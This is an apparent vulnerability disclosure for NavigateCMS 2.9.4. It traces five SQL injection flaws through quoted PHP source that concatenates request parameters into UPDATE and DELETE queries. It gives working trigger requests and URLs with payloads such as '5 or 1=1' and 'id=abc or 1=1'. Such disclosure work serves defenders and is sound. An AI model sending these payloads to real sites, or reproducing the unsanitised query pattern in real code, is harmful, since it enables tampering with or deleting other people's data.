NavigateCMS is a light-weight php CMS.
Official website: https://www.navigatecms.com/en/home, https://github.com/NavigateCMS/Navigate-CMS
The latest version is v2.9.4 (as to 22nd July, 2021), and the github source code is:
https://github.com/NavigateCMS/Navigate-CMS/tree/38cacc0d96ea5056d48e613e135a013e26ed53d2
Credit to: Zhang Zhiyi, Deng Gelei
The following vulnerabilities are tested and verified on 22nd July, 2021.
Vulnerable Source Code at blocks.php
//package/lib/packages/blocks/blocks.php
function run()
{
global $layout;
global $DB;
global $website;
$out = '';
$item = new block();
switch($_REQUEST['act'])
{
case 'load':
case 'edit':
case 2:
if(!empty($_REQUEST['id']))
{
$item->load(intval($_REQUEST['id']));
}
if(isset($_REQUEST['form-sent']))
{
$item->load_from_post();
try
{
naviforms::check_csrf_token();
$item->save();
property::save_properties_from_post('block', $item->id);
$id = $item->id;
// set block order
if(!empty($item->type) && !empty($_REQUEST['blocks-order']))
{
block::reorder($item->type, $_REQUEST['blocks-order'], $_REQUEST['blocks-order-fixed']);//step into
}
which redirects into:
//package/lib/packages/blocks/block.class.php
public static function reorder($type, $order, $fixed)
{
global $DB;
global $website;
$item = explode("#", $order);//explore order by '#'
for($i=0; $i < count($item); $i++)
{
if(empty($item[$i]))
{
continue;
}
$block_is_fixed = ($fixed[$item[$i]]=='1'? '1' : '0');
$ok = $DB->execute('
UPDATE nv_blocks
SET position = '.($i+1).',
fixed = '.$block_is_fixed.'
WHERE id = '.$item[$i].'// trigger here
AND website = '.$website->id
);
Sample Request to trigger this vulnerability, note the block-order
form section.
POST /navigate/navigate.php?fid=blocks&act=edit&id=7&tab=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------195682555912966620871610644291
Content-Length: 7310
Origin: http://localhost
Connection: close
Referer: http://localhost/navigate/navigate.php?fid=blocks&act=edit&id&tab=1
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=vp8rDkw03etQUgHzT9FpieSJ5umQS6ZuLBUE2HnrfYgc4eiNLHWQdPZYVJM6; guest_token=IkpPRWlGeWdObThKVGdTQTdqTFZSdWcxNjA4MjgxNzg4ODE2Ig%3D%3D--acb8c6e71d42560c0d4ce4741531f317312a4f8a; navigate-tinymce-scroll=%7B%7D; navigate-remember-user-id=af59694d7163bd32096f6752379642aee3043fc5; navigate-remember-user-token=9%01%B3%0C%C6%BB%0C%0Bb%D9%18%CB%A1n%CB9a%CF%3E%0Fx%D0Q%EFX%C7C%11%DB%D7S%06B%1B%40+%11L%EB%2A%ABr%E1%EE%D2m%DA%B8%B233%0A%05%A8t%C7%3D%9E%FA%B4%03%C13g1%AF%E1%B4%A6%5C%87%3A%08J%A5%D3%C6%BFVZ%18%A0t%D2%E8GG%8B%AD%BE%BC%25yg%EDh%FB%AFtD%16%81%9D%93y%AD%C5%3AuL%FB%E4%88%B6%B4%F78%E8%D2OIA%11%EE%F1%17cj; navigate-language=en; PHPSESSID=17v9et2fl867j0od9hlvj990ab; NVSID_7a6b5d33_421aa90e079fa326b6494f812ad13e79=17v9et2fl867j0od9hlvj990ab
Upgrade-Insecure-Requests: 1
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="form-sent"
true
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="id"
7
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="_nv_csrf_token"
278f682bb4ecab9f618cd30135cc8bd9569060737a0d0ba57647d648a44258ba
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="type"
social_links
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="date_published"
2021-07-01 00:00
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="date_unpublish"
2021-07-31 00:00
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="access"
0
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="enabled"
1
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="language_selector[]"
en
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="title-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-type-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-image-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-rollover-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-rollover-active-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-video-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-flash-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-links-table-order-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-links-table-title-en[60f8413c447c4]"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-links-table-link-en[60f8413c447c4]"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-links-table-access-en[60f8413c447c4]"
0
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-links-table-title-en[60f8413c447ec]"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-links-table-link-en[60f8413c447ec]"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-links-table-access-en[60f8413c447ec]"
0
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-html-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-content-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="action-type-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="action-web-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="action-javascript-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="action-file-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="action-image-en"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="title-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-type-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-image-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-rollover-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-rollover-active-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-video-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-flash-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-links-table-order-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-links-table-title-es[60f8413c44ae7]"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-links-table-link-es[60f8413c44ae7]"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-links-table-access-es[60f8413c44ae7]"
0
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-links-table-title-es[60f8413c44b19]"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-links-table-link-es[60f8413c44b19]"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-links-table-access-es[60f8413c44b19]"
0
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-html-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="trigger-content-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="action-type-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="action-web-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="action-javascript-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="action-file-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="action-image-es"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="all_categories[]"
1
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="categories"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="exclusions"
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="elements_display[]"
all
-----------------------------195682555912966620871610644291
Content-Disposition: form-data; name="blocks-order"
5 or 1=1
-----------------------------195682555912966620871610644291--
Resulted SQL query at backend:
Injection parameter id
at item.php
//package/lib/packages/items/items.php
function run()
{
global $layout;
global $DB;
global $website;
global $theme;
global $user;
$out = '';
$item = new item();
switch($_REQUEST['act'])
{
case "change_comment_status": // change comment status
if(empty($_REQUEST['id']))
{
echo "false";
core_terminate();
}
switch($_REQUEST['opt'])
{
case 'publish':
$DB->execute('
UPDATE nv_comments
SET status = 0
WHERE website = '.$website->id.' AND
id = '.$_REQUEST['id']);
break;
case 'unpublish':
$DB->execute('
UPDATE nv_comments
SET status = 1
WHERE website = '.$website->id.' AND
id = '.$_REQUEST['id']);
break;
case 'delete':
$DB->execute('
DELETE FROM nv_comments
WHERE website = '.$website->id.' AND
id = '.$_REQUEST['id']);
break;
}
Attacker can use the following traffic to trigger the vulnerability
GET /navigate/navigate.php?fid=items&act=change_comment_status&id=abc%20or%201=1&opt=publish HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=vp8rDkw03etQUgHzT9FpieSJ5umQS6ZuLBUE2HnrfYgc4eiNLHWQdPZYVJM6; guest_token=IkpPRWlGeWdObThKVGdTQTdqTFZSdWcxNjA4MjgxNzg4ODE2Ig%3D%3D--acb8c6e71d42560c0d4ce4741531f317312a4f8a; navigate-tinymce-scroll=%7B%7D; navigate-remember-user-id=af59694d7163bd32096f6752379642aee3043fc5; navigate-remember-user-token=9%01%B3%0C%C6%BB%0C%0Bb%D9%18%CB%A1n%CB9a%CF%3E%0Fx%D0Q%EFX%C7C%11%DB%D7S%06B%1B%40+%11L%EB%2A%ABr%E1%EE%D2m%DA%B8%B233%0A%05%A8t%C7%3D%9E%FA%B4%03%C13g1%AF%E1%B4%A6%5C%87%3A%08J%A5%D3%C6%BFVZ%18%A0t%D2%E8GG%8B%AD%BE%BC%25yg%EDh%FB%AFtD%16%81%9D%93y%AD%C5%3AuL%FB%E4%88%B6%B4%F78%E8%D2OIA%11%EE%F1%17cj; navigate-language=en; PHPSESSID=17v9et2fl867j0od9hlvj990ab; NVSID_7a6b5d33_421aa90e079fa326b6494f812ad13e79=17v9et2fl867j0od9hlvj990ab
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Resulted query log at backend:
Injection parameter products-order
at products.php
//package/lib/packages/products/products.php
function run()
{
global $layout;
global $DB;
global $website;
global $theme;
global $user;
$out = '';
$item = new product();
switch($_REQUEST['act'])
{
case 'products_order':
if(!empty($_POST['products-order']))
{
if(naviforms::check_csrf_token('header'))
{
// save new order
$response = product::reorder($_POST['products-order']);
if($response!==true)
{
echo $response['error'];
}
else
{
echo 'true';
}
}
}
which steps into
//package/lib/packages/products/product.class.php
public static function reorder($order)
{
global $DB;
global $website;
$items = explode("#", $order);
for($i=0; $i < count($items); $i++)
{
if(empty($items[$i]))
{
continue;
}
$ok = $DB->execute('
UPDATE nv_products
SET position = '.($i+1).'
WHERE id = '.$items[$i].' AND
website = '.$website->id
);
Clearly it's the same vulnerability as before, where id
parameter is not filtered.
injection param id
at products.php
. Same root cause (id
not filtered)
//package/lib/packages/products/products.php
case "change_comment_status":
if(empty($_REQUEST['id']))
{
echo "false";
core_terminate();
}
switch($_REQUEST['opt'])
{
case 'publish':
$DB->execute('
UPDATE nv_comments
SET status = 0
WHERE website = '.$website->id.' AND
id = '.$_REQUEST['id']);
break;
case 'unpublish':
$DB->execute('
UPDATE nv_comments
SET status = 1
WHERE website = '.$website->id.' AND
id = '.$_REQUEST['id']);
break;
case 'delete':
$DB->execute('
DELETE FROM nv_comments
WHERE website = '.$website->id.' AND
id = '.$_REQUEST['id']);
break;
}
Attacker can navigate to the following url to trigger a vulnerability
http://localhost/navigate/navigate.php?fid=products&act=change_comment_status&id=1%20or%201=1;&opt=publish
which results in backend query:
Vulnerable source code:
injection param
template-properties-order` at templates.php
//package/lib/packages/templates/templates.php
case 'load':
case 2: // edit/new form
if(!empty($_REQUEST['id']))
{
if(is_numeric($_REQUEST['id']))
{
$item->load(intval($_REQUEST['id']));
}
else
{
$item->load_from_theme($_REQUEST['id']);
}
}
if(isset($_REQUEST['form-sent']))
{
try
{
$item->load_from_post();
naviforms::check_csrf_token();
$item->save();
if(!empty($_REQUEST['property-enabled']))
{
$enableds = array_values($_REQUEST['property-enabled']);
}
else
{
$enableds = array();
}
property::reorder("template", $item->id, $_REQUEST['template-properties-order'], $enableds);
which steps into property.class.php
//package/lib/packages/properties/property.class.php
public static function reorder($element, $template, $order, $enableds=NULL)
{
global $DB;
global $website;
$item = explode("#", $order);
for($i=0; $i < count($item); $i++)
{
if(empty($item[$i])) continue;
$enabled = '';
if(is_array($enableds))
{
$enabled = ', enabled = 0 ';
for($e=0; $e < count($enableds); $e++)
{
if($enableds[$e]==$item[$i]) $enabled = ', enabled = 1 ';
}
}
$ok = $DB->execute('
UPDATE nv_properties
SET position = '.($i+1).' '.$enabled.'
WHERE id = '.$item[$i].'
AND website = '.$website->id
);
Similar coding style as previous vulns, item
parameter is not filtered and attacker can inject on id
.
injection param children_order
at structure.php
//package/lib/packages/structure/structure.php
case "reorder":
$ok = structure::reorder($_REQUEST['parent'], $_REQUEST['children_order']);
echo json_encode($ok);
core_terminate();
break;
which steps into:
//package/lib/packages/structure/structure.class.php
public static function reorder($parent, $children)
{
global $DB;
global $website;
$children = explode("#", $children);
for($i=0; $i < count($children); $i++)
{
if(empty($children[$i]))
{
continue;
}
$ok = $DB->execute('UPDATE nv_structure
SET position = '.($i+1).'
WHERE id = '.$children[$i].'
AND parent = '.intval($parent).'
AND website = '.$website->id);
if(!$ok)
{
return array("error" => $DB->get_last_error());
}
}
return true;
}
Attacker can easily navigate to url like: http://localhost/navigate/navigate.php?fid=structure&act=reorder&parent=1&children=abc%20or%201=1 which results in the following sql query at backend.